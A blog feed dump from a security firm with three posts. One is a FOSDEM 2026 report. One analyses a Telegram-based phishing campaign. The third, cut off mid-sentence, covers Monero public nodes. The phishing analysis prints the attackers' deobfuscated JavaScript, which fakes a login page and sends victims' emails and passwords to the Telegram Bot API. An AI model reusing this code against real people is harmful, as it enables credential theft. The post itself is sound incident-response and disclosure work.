[{"data":1,"prerenderedAt":6590},["ShallowReactive",2],{"blogRecent":3},[4,226,1050],{"id":5,"title":6,"author":7,"body":8,"category":214,"date":215,"description":216,"extension":217,"img":218,"meta":219,"navigation":220,"path":221,"seo":222,"sitemap":223,"stem":224,"__hash__":225},"blog\u002Fblog\u002Ffosdem-2026.md","FOSDEM 2026 Report","İrem Kuyucu",{"type":9,"value":10,"toc":203},"minimark",[11,15,22,27,38,41,46,50,58,61,66,70,78,83,86,90,105,110,113,117,120,125,128,132,153,158,167,171,174,179,188,192,195,200],[12,13,14],"p",{},"This was our third year at FOSDEM as the Digilol team. We couldn't all be everywhere at once but here are some highlights according to me.",[12,16,17],{},[18,19],"img",{"alt":20,"src":21},"","\u002Fblog\u002Ffosdem-2026\u002Fprints-res.webp",[23,24,26],"h2",{"id":25},"a-new-linux-handheld","A new Linux handheld",[12,28,29,30,37],{},"Surprisingly, there was a demo stand of ",[31,32,36],"a",{"href":33,"rel":34},"https:\u002F\u002Fmecha.so\u002Fcomet#overview",[35],"nofollow","Mecha Comet",". The Mecha team is based in India so they must have travelled a long way to Brussels.",[12,39,40],{},"We're not sure if it was just us but the device running KDE was sluggish and the applications were crashing. The build was solid however and I believe the software can be optimized later.",[12,42,43],{},[18,44],{"alt":20,"src":45},"\u002Fblog\u002Ffosdem-2026\u002Fmecha-comet.webp",[23,47,49],{"id":48},"archiving-any-software-repository-from-anywhere","Archiving any software repository from anywhere",[12,51,52,57],{},[31,53,56],{"href":54,"rel":55},"https:\u002F\u002Fwww.softwareheritage.org\u002F",[35],"Software Heritage"," is the \"Internet Archive\" for software repositories. It can be used to save git, SVN and other types of repositories.",[12,59,60],{},"This reminds me of GitHub's Arctic Code Vault program but it's of a more epic scale as they archive any repository anywhere (even if you're self-hosting Forgejo, GitLab etc.)",[12,62,63],{},[18,64],{"alt":20,"src":65},"\u002Fblog\u002Ffosdem-2026\u002Fsoftwareheritage.webp",[23,67,69],{"id":68},"open-local-first","Open Local First",[12,71,72,73,77],{},"The ",[31,74,69],{"href":75,"rel":76},"https:\u002F\u002Fopenlocalfirst.org\u002F",[35]," devroom was especially interesting given the situation with the internet\u002Fcellular shutdowns of oppressive regimes. Mesh networks and local applications using BLE\u002FLora are hot right now.",[12,79,80],{},[18,81],{"alt":20,"src":82},"\u002Fblog\u002Ffosdem-2026\u002Fopenlocalfirst.webp",[12,84,85],{},"The highlight for me was the talk by Nico which explored building peer-to-peer apps with js-libp2p, IPFS and OrbitDB. It was also informative from a security perspective that he described how to use WebAuthN\u002Fpasskeys, DIDs, UCANs, decentralized storage and pinning networks.",[23,87,89],{"id":88},"in-2026-you-can-get-a-decent-risc-v-laptop","In 2026 you can get a decent RISC-V laptop",[12,91,92,93,98,99,104],{},"We stopped to talk to Yuning Liang, who is a shareholder of ",[31,94,97],{"href":95,"rel":96},"https:\u002F\u002Fframe.work\u002F",[35],"Framework",". Yuning's company ",[31,100,103],{"href":101,"rel":102},"https:\u002F\u002Fdeepcomputing.io\u002F",[35],"DeepComputing"," develops and sells Framework laptops with RISC-V motherboards.",[12,106,107],{},[18,108],{"alt":20,"src":109},"\u002Fblog\u002Ffosdem-2026\u002Friscv.webp",[12,111,112],{},"My personal opinion is that once you go OLED you can never go back. Could you fellas at Framework and DeepComputing please make OLED an option? Thanks.",[23,114,116],{"id":115},"ai-slop-vs-open-source-security","AI slop vs open source security",[12,118,119],{},"The closing talk on the main track was by the curl maintainer Daniel. Curl's HackerOne bug bounty program was absolutely trashed by wannabe researchers relying on the hallucinations of their LLMs. Unfortunately the slopmeter was maxed out and curl had to close shop.",[12,121,122],{},[18,123],{"alt":20,"src":124},"\u002Fblog\u002Ffosdem-2026\u002Fcurl.webp",[12,126,127],{},"It certainly doesn't help that HackerOne is pushing for LLM use really hard, by replacing the submit report button with their own LLM which forces the researcher to prompt and obscuring ways to submit \"legacy\" hand written reports.",[23,129,131],{"id":130},"military-grade-foss-attack-drones","Military grade FOSS attack drones",[12,133,134,135,140,141,146,147,152],{},"A company called ",[31,136,139],{"href":137,"rel":138},"https:\u002F\u002Fwww.deltaquad.com\u002F",[35],"DeltaQuad"," is producing battlefield ready drones which run free software ",[31,142,145],{"href":143,"rel":144},"https:\u002F\u002Fpx4.io\u002F",[35],"PX4 autopilot framework"," and ",[31,148,151],{"href":149,"rel":150},"https:\u002F\u002Fpixhawk.org\u002F",[35],"Pixhawk"," flight controller. This is a great initiative given the security situation in Europe. Looking at you Lithuania, you need to shoot those smuggling balloons down!",[12,154,155],{},[18,156],{"alt":20,"src":157},"\u002Fblog\u002Ffosdem-2026\u002Fdrones.webp",[12,159,160,161,166],{},"Another cool thing to note, there is a foundation for the development of autonomous aerial robotics. ",[31,162,165],{"href":163,"rel":164},"https:\u002F\u002Fdronecode.org\u002F",[35],"Dronecode Foundation"," is a Linux Foundation project too.",[23,168,170],{"id":169},"you-wouldnt-download-a-microscope","You wouldn't download a microscope",[12,172,173],{},"As a 14 year old I used to be obsessed with the biohacking community. All the biohacking community did back then was implanting small SBCs, RFID chips and neodymium magnets. Well my adult self is grateful that I didn't go down that pipeline. Hence I avoided the surgical removal of those done at a doctor's office.",[12,175,176],{},[18,177],{"alt":20,"src":178},"\u002Fblog\u002Ffosdem-2026\u002Fmicroscope.webp",[12,180,181,182,187],{},"Anyway, the ",[31,183,186],{"href":184,"rel":185},"https:\u002F\u002Fopenflexure.org\u002F",[35],"OpenFlexure"," project is a step in the right direction. It's an open source microscope. They're trying to get certified so it can be fit for use in official institutions.",[23,189,191],{"id":190},"where-does-digilol-stand-in-foss","Where does Digilol stand in FOSS?",[12,193,194],{},"Our company was born out of Free Software; we run and write FOSS. Additionally we offer free or discounted security audits\u002Fpenetration tests for open source projects. Feel free to get in touch to discuss how we can help secure your project.",[12,196,197],{},[18,198],{"alt":20,"src":199},"\u002Fblog\u002Ffosdem-2026\u002Fthermal.webp",[12,201,202],{},"Somebody hooked up a thermal printer to a Matrix room. And this is how I made the og image for this post.",{"title":20,"searchDepth":204,"depth":204,"links":205},2,[206,207,208,209,210,211,212,213],{"id":25,"depth":204,"text":26},{"id":48,"depth":204,"text":49},{"id":68,"depth":204,"text":69},{"id":88,"depth":204,"text":89},{"id":115,"depth":204,"text":116},{"id":130,"depth":204,"text":131},{"id":169,"depth":204,"text":170},{"id":190,"depth":204,"text":191},"Software","2026-02-06","Highlights from the FOSDEM 2026 conference in Brussels according to the Digilol team.","md","https:\u002F\u002Fwww.digilol.net\u002Fblog\u002Ffosdem-2026\u002Fprints.webp",{},true,"\u002Fblog\u002Ffosdem-2026",{"title":6,"description":216},{"loc":221},"blog\u002Ffosdem-2026","dFD548_MR7l_oIAIWizXpqvDPvXP3O0dzHG9oRucn1g",{"id":227,"title":228,"author":7,"body":229,"category":214,"date":1041,"description":1042,"extension":217,"img":1043,"meta":1044,"navigation":220,"path":1045,"seo":1046,"sitemap":1047,"stem":1048,"__hash__":1049},"blog\u002Fblog\u002Fphishing-intercepted-cert.md","Disrupting a Telegram-Based Phishing Campaign",{"type":9,"value":230,"toc":1035},[231,236,239,243,246,251,266,269,310,313,555,566,571,574,950,953,957,966,971,974,987,991,1007,1011,1014,1028,1031],[12,232,233],{},[18,234],{"alt":20,"src":235},"\u002Fblog\u002Fphishing-intercepted-cert\u002Fphishing-cert.webp",[12,237,238],{},"We disrupted a global phishing campaign that targeted governments in Germany, Netherlands, France, and the US, along with major corporations like Air China and KB Financial Group across 23 countries. Here's how we did it.",[23,240,242],{"id":241},"the-anatomy-of-the-campaign","The Anatomy of The Campaign",[12,244,245],{},"We are often targeted by phishing and spear-phishing. The fact that we accept cryptocurrency payments makes us an attractive target. One of our staff received the following email on July 12th:",[12,247,248],{},[18,249],{"alt":20,"src":250},"\u002Fblog\u002Fphishing-intercepted-cert\u002Fphishing-cert-email-payload.webp",[12,252,253,254,259,260,265],{},"At first glance, this appears to be a standard phishing email. The interesting thing is that this email originates from a legitimate Finnish business. Analysis of their MX DNS records and mail server infrastructure showed they were running a vulnerable version of Zimbra. This detail would prove significant, as ",[31,255,258],{"href":256,"rel":257},"https:\u002F\u002Fwiki.zimbra.com\u002Fwiki\u002FZimbra_Server",[35],"Zimbra"," software became a recurring theme throughout our investigation. This potentially ties this phishing campaign to ",[31,261,264],{"href":262,"rel":263},"https:\u002F\u002Fwww.welivesecurity.com\u002Fen\u002Feset-research\u002Foperation-roundpress\u002F",[35],"Operation RoundPress",", a Russia-aligned espionage operation targeting webmail servers.",[12,267,268],{},"The .htm attachment contains a Javascript payload with weak obfuscation:",[270,271,275],"pre",{"className":272,"code":273,"language":274,"meta":20,"style":20},"language-js shiki shiki-themes material-theme-lighter material-theme material-theme-palenight","\u003Cscript>\n  document.write(decodeURIComponent(\"\\x253\\x43%\\x32\\x31\\x44\\...\"))\n\u003C\u002Fscript>\n","js",[276,277,278,294,300],"code",{"__ignoreMap":20},[279,280,283,287,291],"span",{"class":281,"line":282},"line",1,[279,284,286],{"class":285},"sMK4o","\u003C",[279,288,290],{"class":289},"swJcz","script",[279,292,293],{"class":285},">\n",[279,295,296],{"class":281,"line":204},[279,297,299],{"class":298},"sTEyZ","  document.write(decodeURIComponent(\"\\x253\\x43%\\x32\\x31\\x44\\...\"))\n",[279,301,303,306,308],{"class":281,"line":302},3,[279,304,305],{"class":285},"\u003C\u002F",[279,307,290],{"class":289},[279,309,293],{"class":285},[12,311,312],{},"HTML and more JS are revealed after deobfuscating:",[270,314,318],{"className":315,"code":316,"language":317,"meta":20,"style":20},"language-html shiki shiki-themes material-theme-lighter material-theme material-theme-palenight","\u003Cmain\n  style='background-image: url(\"https:\u002F\u002Fimage.thum.io\u002Fget\u002Fwidth\u002F1200\u002Fhttps:\u002F\u002Fwww.airchina.com.cn\");'\n  class=\"w-full h-screen flex justify-center items-center\"\n  id=\"main\"\n>\n  \u003Cdiv\n    class=\"flex flex-col gap-5 w-100 px-5 text-white py-10 bg-gray-800\u002F90 \"\n  >\n    \u003Cdiv class=\"flex items-center justify-center\">\n      \u003Cdiv>\n        \u003Cimg\n          src=\"https:\u002F\u002Flogo.clearbit.com\u002Fwww.airchina.com.cn\"\n          alt=\"\"\n          id=\"bannerLink\"\n          style=\"height: 50px;\"\n        \u002F>\n      \u003C\u002Fdiv>\n    \u003C\u002Fdiv>\n  \u003C\u002Fdiv>\n\u003C\u002Fmain>\n","html",[276,319,320,327,346,362,377,382,391,406,412,435,445,454,469,480,495,510,516,526,536,546],{"__ignoreMap":20},[279,321,322,324],{"class":281,"line":282},[279,323,286],{"class":285},[279,325,326],{"class":289},"main\n",[279,328,329,333,336,339,343],{"class":281,"line":204},[279,330,332],{"class":331},"spNyl","  style",[279,334,335],{"class":285},"=",[279,337,338],{"class":285},"'",[279,340,342],{"class":341},"sfazB","background-image: url(\"https:\u002F\u002Fimage.thum.io\u002Fget\u002Fwidth\u002F1200\u002Fhttps:\u002F\u002Fwww.airchina.com.cn\");",[279,344,345],{"class":285},"'\n",[279,347,348,351,353,356,359],{"class":281,"line":302},[279,349,350],{"class":331},"  class",[279,352,335],{"class":285},[279,354,355],{"class":285},"\"",[279,357,358],{"class":341},"w-full h-screen flex justify-center items-center",[279,360,361],{"class":285},"\"\n",[279,363,365,368,370,372,375],{"class":281,"line":364},4,[279,366,367],{"class":331},"  id",[279,369,335],{"class":285},[279,371,355],{"class":285},[279,373,374],{"class":341},"main",[279,376,361],{"class":285},[279,378,380],{"class":281,"line":379},5,[279,381,293],{"class":285},[279,383,385,388],{"class":281,"line":384},6,[279,386,387],{"class":285},"  \u003C",[279,389,390],{"class":289},"div\n",[279,392,394,397,399,401,404],{"class":281,"line":393},7,[279,395,396],{"class":331},"    class",[279,398,335],{"class":285},[279,400,355],{"class":285},[279,402,403],{"class":341},"flex flex-col gap-5 w-100 px-5 text-white py-10 bg-gray-800\u002F90 ",[279,405,361],{"class":285},[279,407,409],{"class":281,"line":408},8,[279,410,411],{"class":285},"  >\n",[279,413,415,418,421,424,426,428,431,433],{"class":281,"line":414},9,[279,416,417],{"class":285},"    \u003C",[279,419,420],{"class":289},"div",[279,422,423],{"class":331}," class",[279,425,335],{"class":285},[279,427,355],{"class":285},[279,429,430],{"class":341},"flex items-center justify-center",[279,432,355],{"class":285},[279,434,293],{"class":285},[279,436,438,441,443],{"class":281,"line":437},10,[279,439,440],{"class":285},"      \u003C",[279,442,420],{"class":289},[279,444,293],{"class":285},[279,446,448,451],{"class":281,"line":447},11,[279,449,450],{"class":285},"        \u003C",[279,452,453],{"class":289},"img\n",[279,455,457,460,462,464,467],{"class":281,"line":456},12,[279,458,459],{"class":331},"          src",[279,461,335],{"class":285},[279,463,355],{"class":285},[279,465,466],{"class":341},"https:\u002F\u002Flogo.clearbit.com\u002Fwww.airchina.com.cn",[279,468,361],{"class":285},[279,470,472,475,477],{"class":281,"line":471},13,[279,473,474],{"class":331},"          alt",[279,476,335],{"class":285},[279,478,479],{"class":285},"\"\"\n",[279,481,483,486,488,490,493],{"class":281,"line":482},14,[279,484,485],{"class":331},"          id",[279,487,335],{"class":285},[279,489,355],{"class":285},[279,491,492],{"class":341},"bannerLink",[279,494,361],{"class":285},[279,496,498,501,503,505,508],{"class":281,"line":497},15,[279,499,500],{"class":331},"          style",[279,502,335],{"class":285},[279,504,355],{"class":285},[279,506,507],{"class":341},"height: 50px;",[279,509,361],{"class":285},[279,511,513],{"class":281,"line":512},16,[279,514,515],{"class":285},"        \u002F>\n",[279,517,519,522,524],{"class":281,"line":518},17,[279,520,521],{"class":285},"      \u003C\u002F",[279,523,420],{"class":289},[279,525,293],{"class":285},[279,527,529,532,534],{"class":281,"line":528},18,[279,530,531],{"class":285},"    \u003C\u002F",[279,533,420],{"class":289},[279,535,293],{"class":285},[279,537,539,542,544],{"class":281,"line":538},19,[279,540,541],{"class":285},"  \u003C\u002F",[279,543,420],{"class":289},[279,545,293],{"class":285},[279,547,549,551,553],{"class":281,"line":548},20,[279,550,305],{"class":285},[279,552,374],{"class":289},[279,554,293],{"class":285},[12,556,557,558,561,562,565],{},"The payload relies on ",[276,559,560],{},"thum.io"," — a screenshot generator to load a screenshot of the victim's homepage, and ",[276,563,564],{},"clearbit.com"," — a logo finder API, which falls back to favicon to make the form look more legitimate. This is how the form renders given the airchina.com.cn domain:",[12,567,568],{},[18,569],{"alt":20,"src":570},"\u002Fblog\u002Fphishing-intercepted-cert\u002Fphishing-cert-airchina-example.webp",[12,572,573],{},"We were surprised to find a Telegram bot token and a chat ID in the deobfuscated Javascript. The attackers do not host any assets or a server to collect the credentials. The victims themselves make the request to the Telegram API to send the credentials.",[270,575,577],{"className":272,"code":576,"language":274,"meta":20,"style":20},"const TELEGRAM_BOT_TOKEN = 'redacted'; \u002F\u002F Replace with your bot token\nconst TELEGRAM_CHAT_ID = 'redacted'; \u002F\u002F Replace with your chat ID\n\nasync function submitForm() {\n    const message = `New submission:\\nEmail: ${emailInput.value}\\nPassword: ${passInput.value}`;\n\n    try {\n        const response = await fetch(\n            `https:\u002F\u002Fapi.telegram.org\u002Fbot${TELEGRAM_BOT_TOKEN}\u002FsendMessage?chat_id=${TELEGRAM_CHAT_ID}&text=${encodeURIComponent(message)}`\n        );\n        const result = await response.json();\n        ...\n    } catch (error) {\n        console.error(\"Telegram error:\", error);\n        errorMsg.classList.remove(\"hidden\");\n        errorMsg.textContent = \"An error occurred. Please try again.\";\n        btn.disabled = false;\n        passInput.focus();\n    }\n}\n",[276,578,579,604,624,629,647,705,709,717,736,775,782,804,809,829,859,887,908,926,940,945],{"__ignoreMap":20},[279,580,581,584,587,589,592,595,597,600],{"class":281,"line":282},[279,582,583],{"class":331},"const",[279,585,586],{"class":298}," TELEGRAM_BOT_TOKEN ",[279,588,335],{"class":285},[279,590,591],{"class":285}," '",[279,593,594],{"class":341},"redacted",[279,596,338],{"class":285},[279,598,599],{"class":285},";",[279,601,603],{"class":602},"sHwdD"," \u002F\u002F Replace with your bot token\n",[279,605,606,608,611,613,615,617,619,621],{"class":281,"line":204},[279,607,583],{"class":331},[279,609,610],{"class":298}," TELEGRAM_CHAT_ID ",[279,612,335],{"class":285},[279,614,591],{"class":285},[279,616,594],{"class":341},[279,618,338],{"class":285},[279,620,599],{"class":285},[279,622,623],{"class":602}," \u002F\u002F Replace with your chat ID\n",[279,625,626],{"class":281,"line":302},[279,627,628],{"emptyLinePlaceholder":220},"\n",[279,630,631,634,637,641,644],{"class":281,"line":364},[279,632,633],{"class":331},"async",[279,635,636],{"class":331}," function",[279,638,640],{"class":639},"s2Zo4"," submitForm",[279,642,643],{"class":285},"()",[279,645,646],{"class":285}," {\n",[279,648,649,652,655,658,661,664,667,670,673,676,679,682,685,687,690,692,695,697,699,702],{"class":281,"line":379},[279,650,651],{"class":331},"    const",[279,653,654],{"class":298}," message",[279,656,657],{"class":285}," =",[279,659,660],{"class":285}," `",[279,662,663],{"class":341},"New submission:",[279,665,666],{"class":298},"\\n",[279,668,669],{"class":341},"Email: ",[279,671,672],{"class":285},"${",[279,674,675],{"class":298},"emailInput",[279,677,678],{"class":285},".",[279,680,681],{"class":298},"value",[279,683,684],{"class":285},"}",[279,686,666],{"class":298},[279,688,689],{"class":341},"Password: ",[279,691,672],{"class":285},[279,693,694],{"class":298},"passInput",[279,696,678],{"class":285},[279,698,681],{"class":298},[279,700,701],{"class":285},"}`",[279,703,704],{"class":285},";\n",[279,706,707],{"class":281,"line":384},[279,708,628],{"emptyLinePlaceholder":220},[279,710,711,715],{"class":281,"line":393},[279,712,714],{"class":713},"s7zQu","    try",[279,716,646],{"class":285},[279,718,719,722,725,727,730,733],{"class":281,"line":408},[279,720,721],{"class":331},"        const",[279,723,724],{"class":298}," response",[279,726,657],{"class":285},[279,728,729],{"class":713}," await",[279,731,732],{"class":639}," fetch",[279,734,735],{"class":289},"(\n",[279,737,738,741,744,746,749,751,754,756,759,761,764,766,769,772],{"class":281,"line":414},[279,739,740],{"class":285},"            `",[279,742,743],{"class":341},"https:\u002F\u002Fapi.telegram.org\u002Fbot",[279,745,672],{"class":285},[279,747,748],{"class":298},"TELEGRAM_BOT_TOKEN",[279,750,684],{"class":285},[279,752,753],{"class":341},"\u002FsendMessage?chat_id=",[279,755,672],{"class":285},[279,757,758],{"class":298},"TELEGRAM_CHAT_ID",[279,760,684],{"class":285},[279,762,763],{"class":341},"&text=",[279,765,672],{"class":285},[279,767,768],{"class":639},"encodeURIComponent",[279,770,771],{"class":298},"(message)",[279,773,774],{"class":285},"}`\n",[279,776,777,780],{"class":281,"line":437},[279,778,779],{"class":289},"        )",[279,781,704],{"class":285},[279,783,784,786,789,791,793,795,797,800,802],{"class":281,"line":447},[279,785,721],{"class":331},[279,787,788],{"class":298}," result",[279,790,657],{"class":285},[279,792,729],{"class":713},[279,794,724],{"class":298},[279,796,678],{"class":285},[279,798,799],{"class":639},"json",[279,801,643],{"class":289},[279,803,704],{"class":285},[279,805,806],{"class":281,"line":456},[279,807,808],{"class":285},"        ...\n",[279,810,811,814,817,820,823,826],{"class":281,"line":471},[279,812,813],{"class":285},"    }",[279,815,816],{"class":713}," catch",[279,818,819],{"class":289}," (",[279,821,822],{"class":298},"error",[279,824,825],{"class":289},") ",[279,827,828],{"class":285},"{\n",[279,830,831,834,836,838,841,843,846,848,851,854,857],{"class":281,"line":482},[279,832,833],{"class":298},"        console",[279,835,678],{"class":285},[279,837,822],{"class":639},[279,839,840],{"class":289},"(",[279,842,355],{"class":285},[279,844,845],{"class":341},"Telegram error:",[279,847,355],{"class":285},[279,849,850],{"class":285},",",[279,852,853],{"class":298}," error",[279,855,856],{"class":289},")",[279,858,704],{"class":285},[279,860,861,864,866,869,871,874,876,878,881,883,885],{"class":281,"line":497},[279,862,863],{"class":298},"        errorMsg",[279,865,678],{"class":285},[279,867,868],{"class":298},"classList",[279,870,678],{"class":285},[279,872,873],{"class":639},"remove",[279,875,840],{"class":289},[279,877,355],{"class":285},[279,879,880],{"class":341},"hidden",[279,882,355],{"class":285},[279,884,856],{"class":289},[279,886,704],{"class":285},[279,888,889,891,893,896,898,901,904,906],{"class":281,"line":512},[279,890,863],{"class":298},[279,892,678],{"class":285},[279,894,895],{"class":298},"textContent",[279,897,657],{"class":285},[279,899,900],{"class":285}," \"",[279,902,903],{"class":341},"An error occurred. Please try again.",[279,905,355],{"class":285},[279,907,704],{"class":285},[279,909,910,913,915,918,920,924],{"class":281,"line":518},[279,911,912],{"class":298},"        btn",[279,914,678],{"class":285},[279,916,917],{"class":298},"disabled",[279,919,657],{"class":285},[279,921,923],{"class":922},"sfNiH"," false",[279,925,704],{"class":285},[279,927,928,931,933,936,938],{"class":281,"line":528},[279,929,930],{"class":298},"        passInput",[279,932,678],{"class":285},[279,934,935],{"class":639},"focus",[279,937,643],{"class":289},[279,939,704],{"class":285},[279,941,942],{"class":281,"line":538},[279,943,944],{"class":285},"    }\n",[279,946,947],{"class":281,"line":548},[279,948,949],{"class":285},"}\n",[12,951,952],{},"The amount of redundant code and excessive comments in the payload led us to think that this may have been AI-generated. It might also explain the attacker's lack of understanding of operational security.",[23,954,956],{"id":955},"infiltrating-the-campaign","Infiltrating The Campaign",[12,958,959,960,965],{},"We now have a Telegram bot token and a chat ID. It isn't possible to access the message history of a bot using the Telegram Bot API. Luckily the Core Telegram API provides us with a method, and we were able to build our own tool for dumping chats and media from leaked bot tokens: ",[31,961,964],{"href":962,"rel":963},"https:\u002F\u002Fgithub.com\u002Fdigilolnet\u002Ftelegram-bot-dumper",[35],"github.com\u002Fdigilolnet\u002Ftelegram-bot-dumper",". It also has the ability to listen continuously, which allowed us to see fresh credentials in real-time. Here is the tool in action:",[12,967,968],{},[18,969],{"alt":20,"src":970},"\u002Fblog\u002Fphishing-intercepted-cert\u002Fphishing-cert-dumper-tool.webp",[12,972,973],{},"We were able to identify the two operators behind the bot. We gained access to the full message history of all of the bot's chats. It turns out this campaign has been active since 2024-07-02. The oldest messages relate to the credentials of compromised Zimbra hosts, further supporting our theory of Russian state-sponsored attackers' involvement.",[12,975,976,977,146,982,678],{},"We have been monitoring the messages of the bot, notifying dozens of victims each day about their breached accounts. We have also shared our threat intelligence with ",[31,978,981],{"href":979,"rel":980},"https:\u002F\u002Fwww.nksc.lt",[35],"CERT-LT",[31,983,986],{"href":984,"rel":985},"https:\u002F\u002Fwww.bsi.bund.de\u002FEN\u002FThemen\u002FUnternehmen-und-Organisationen\u002FCyber-Sicherheitslage\u002FReaktion\u002FCERT-Bund\u002Fcert-bund_node.html",[35],"CERT-Bund",[23,988,990],{"id":989},"timeline","Timeline",[992,993,994,998,1001,1004],"ul",{},[995,996,997],"li",{},"2025-07-12: Digilol staff received the phishing email.",[995,999,1000],{},"2025-07-13: Digilol compromised the phishing campaign, accessed 6254 compromised credentials, began notifying victims.",[995,1002,1003],{},"2025-07-14: Digilol notified NKSC (CERT-LT). Received no response and noticed a mismatch of email in NKSC's PGP key.",[995,1005,1006],{},"2025-07-17: Digilol notified CERT-Bund. Digilol is in active collaboration with CERT-Bund for threat intelligence.",[23,1008,1010],{"id":1009},"our-phishing-simulation-service","Our Phishing Simulation Service",[12,1012,1013],{},"The most effective way to train your staff against phishing attacks is through realistic simulations. We can conduct authorized phishing tests on your employees, providing you with:",[992,1015,1016,1019,1022,1025],{},[995,1017,1018],{},"Risk scores broken down by department and individual employee.",[995,1020,1021],{},"Detailed analysis of security weaknesses and attack vectors.",[995,1023,1024],{},"Educational breakdowns showing how the campaigns work.",[995,1026,1027],{},"Training materials highlighting key warning signs and red flags.",[12,1029,1030],{},"Our simulations help transform your biggest security risk, human error, into your strongest defense.",[1032,1033,1034],"style",{},"html pre.shiki code .sMK4o, html code.shiki .sMK4o{--shiki-light:#39ADB5;--shiki-default:#89DDFF;--shiki-dark:#89DDFF}html pre.shiki code .swJcz, html code.shiki .swJcz{--shiki-light:#E53935;--shiki-default:#F07178;--shiki-dark:#F07178}html pre.shiki code .sTEyZ, html code.shiki .sTEyZ{--shiki-light:#90A4AE;--shiki-default:#EEFFFF;--shiki-dark:#BABED8}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .spNyl, html code.shiki .spNyl{--shiki-light:#9C3EDA;--shiki-default:#C792EA;--shiki-dark:#C792EA}html pre.shiki code .sfazB, html code.shiki .sfazB{--shiki-light:#91B859;--shiki-default:#C3E88D;--shiki-dark:#C3E88D}html pre.shiki code .sHwdD, html code.shiki .sHwdD{--shiki-light:#90A4AE;--shiki-light-font-style:italic;--shiki-default:#546E7A;--shiki-default-font-style:italic;--shiki-dark:#676E95;--shiki-dark-font-style:italic}html pre.shiki code .s2Zo4, html code.shiki .s2Zo4{--shiki-light:#6182B8;--shiki-default:#82AAFF;--shiki-dark:#82AAFF}html pre.shiki code .s7zQu, html code.shiki .s7zQu{--shiki-light:#39ADB5;--shiki-light-font-style:italic;--shiki-default:#89DDFF;--shiki-default-font-style:italic;--shiki-dark:#89DDFF;--shiki-dark-font-style:italic}html pre.shiki code .sfNiH, html code.shiki .sfNiH{--shiki-light:#FF5370;--shiki-default:#FF9CAC;--shiki-dark:#FF9CAC}",{"title":20,"searchDepth":204,"depth":204,"links":1036},[1037,1038,1039,1040],{"id":241,"depth":204,"text":242},{"id":955,"depth":204,"text":956},{"id":989,"depth":204,"text":990},{"id":1009,"depth":204,"text":1010},"2025-08-17","Digilol security team reverse engineered and disrupted a global phishing campaign affecting large corporations and governments, notifying victims.","https:\u002F\u002Fwww.digilol.net\u002Fblog\u002Fphishing-intercepted-cert\u002Fphishing-cert.webp",{},"\u002Fblog\u002Fphishing-intercepted-cert",{"title":228,"description":1042},{"loc":1045},"blog\u002Fphishing-intercepted-cert","bqvNKbf0Zbr_pXrI9jJz0nECP0YCevo27FIuRjZQbgE",{"id":1051,"title":1052,"author":1053,"body":1055,"category":6580,"date":6581,"description":6582,"extension":217,"img":6583,"meta":6584,"navigation":220,"path":6585,"seo":6586,"sitemap":6587,"stem":6588,"__hash__":6589},"blog\u002Fblog\u002Fchainanalysis-malicious-xmr.md","How Chainalysis Made Their Way into Popular Monero Wallets",[7,1054],"Laurynas Četyrkinas",{"type":9,"value":1056,"toc":6566},[1057,1062,1101,1108,1124,1132,1139,1143,1146,1151,1157,1209,1213,1217,1254,1263,1271,1280,1288,1293,1300,1321,1326,1339,1344,1347,1352,1364,1368,1374,1379,1388,1440,1450,1453,1458,1466,1471,1477,1486,1490,1497,1502,1506,1509,1512,1526,6467,6473,6479,6482,6485,6523,6530,6553,6556,6560,6563],[12,1058,1059],{},[18,1060],{"alt":20,"src":1061},"\u002Fblog\u002Fchainalysis-malicious-xmr\u002Fmonerocom-wallet.webp",[12,1063,1064,1065,1070,1071,1076,1077,1080,1081,146,1086,1091,1092,1094,1095,1100],{},"A now-deleted and actively censored training video from ",[31,1066,1069],{"href":1067,"rel":1068},"https:\u002F\u002Fwww.chainalysis.com",[35],"Chainalysis"," — a blockchain analysis company — revealed ",[31,1072,1075],{"href":1073,"rel":1074},"https:\u002F\u002Fwww.getmonero.org",[35],"Monero"," RPC logs, seemingly from a popular public Monero \"node\" called ",[276,1078,1079],{},"node.moneroworld.com",". Many wallets like ",[31,1082,1085],{"href":1083,"rel":1084},"https:\u002F\u002Fcakewallet.com",[35],"Cake Wallet",[31,1087,1090],{"href":1088,"rel":1089},"https:\u002F\u002Fwww.monerujo.io",[35],"Monerujo"," include it in their list of default public nodes. In this post we will explain how Chainalysis's malicious nodes were given to users choosing the public node ",[276,1093,1079],{}," and the dangers of ",[31,1096,1099],{"href":1097,"rel":1098},"https:\u002F\u002Fdanielcremin.substack.com\u002Fi\u002F142048479\u002Fwhat-is-a-dangling-dns-record",[35],"dangling DNS records"," of decomissioned Monero nodes.",[23,1102,1104,1105,1107],{"id":1103},"what-is-nodemoneroworldcom","What is ",[276,1106,1079],{},"?",[12,1109,1110,1112,1113,1118,1119,678],{},[276,1111,1079],{}," is not an actual Monero node. Instead, the domain has numerous A records pointing to other Monero node IPs. The domain is controlled by the trusted community member ",[31,1114,1117],{"href":1115,"rel":1116},"https:\u002F\u002Fgithub.com\u002FGingeropolous",[35],"Gingeropolous"," who decides which nodes to add or remove from the ",[31,1120,1123],{"href":1121,"rel":1122},"https:\u002F\u002Fen.wikipedia.org\u002Fwiki\u002FRound-robin_DNS",[35],"Round-robin DNS",[1125,1126,1127],"blockquote",{},[12,1128,1129,1131],{},[276,1130,1079],{}," at port 18089 - I point this one to whatever I think is best at the time being. Currently, its a small cohort of trusted monero community members.",[12,1133,1134,1135],{},"Source: 